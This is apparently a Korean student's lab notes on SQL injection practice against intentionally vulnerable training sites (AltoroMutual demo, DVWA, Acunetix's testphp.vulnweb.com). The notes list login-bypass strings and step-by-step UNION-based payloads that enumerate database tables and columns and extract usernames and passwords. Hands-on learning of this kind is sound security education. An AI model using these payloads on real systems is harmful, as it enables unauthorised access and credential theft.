Post

웹 보안 실습 1

SQL 인젝션

취약 사이트 실습

1. AltroMutual 사이트

  • URL: demo.testfire.net

  1. admin' --
  2. ' or 1=1
  3. ' or 'a'='a

2. DVWA 사이트

  • 환경: Metasploitable 2의 DVWA
  1. ' or '1'='1
  2. ' or true#
  3. 1' or '1=1
  4. ' UNION SELECT table_name, NULL FROM information_schema.tables#
    • 모든 테이블 이름 출력.
    • UNION 사용 시 컬럼 수를 맞춰야 하므로 NULL 값으로 컬럼 수를 유추
  5. ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'#
    • 특정 테이블(users)의 컬럼 이름들을 출력
  6. ' UNION SELECT user, password FROM users#
    • 위에서 알아낸 컬럼을 이용해 데이터를 추출

3. Acunetix 사이트

  • URL: http://testphp.vulnweb.com/listproducts.php?cat=1
  1. 기본 SQL 인젝션
    http://testphp.vulnweb.com/listproducts.php?cat=1 or true

  2. 컬럼 수 확인
    http://testphp.vulnweb.com/listproducts.php?cat=1 or true UNION ALL SELECT NULL
    • 오류 발생 시 NULL 값을 하나씩 늘려 컬럼 수 추측.
    • 컬럼 수가 11개임을 확인.
  3. 실행 가능한 컬럼 식별
    http://testphp.vulnweb.com/listproducts.php?cat=1 and false UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11
    • 실행 가능한 컬럼: 11, 7, 2, 9.
  4. 데이터베이스 정보 확인
    http://testphp.vulnweb.com/listproducts.php?cat=1 and false UNION ALL SELECT 1, version(), 3, 4, 5, 6, user(), 8, 9, 10, 11

  5. 데이터베이스 이름 확인
    http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION ALL SELECT 1, 2, 3, 4, 5, 6, 7, 8, database(), 10, 11

  6. 테이블 이름 추출
    http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 FROM information_schema.tables WHERE table_schema=database()
    • 테이블 이름들을 한 줄로 나열.
  7. 특정 테이블의 컬럼 추출
    http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7, 8, 9, 10, 11 FROM information_schema.columns WHERE table_name='users'
    • ‘users’ 테이블의 모든 컬럼 이름 출력.
  8. 데이터 추출
    http://testphp.vulnweb.com/listproducts.php?cat=1 and 1=0 UNION SELECT 1, uname, 3, 4, 5, 6, 7, 8, pass, 10, 11 FROM users
    • users 테이블에서 uname(사용자 이름)과 pass(비밀번호) 추출.
    • 결과: test, test.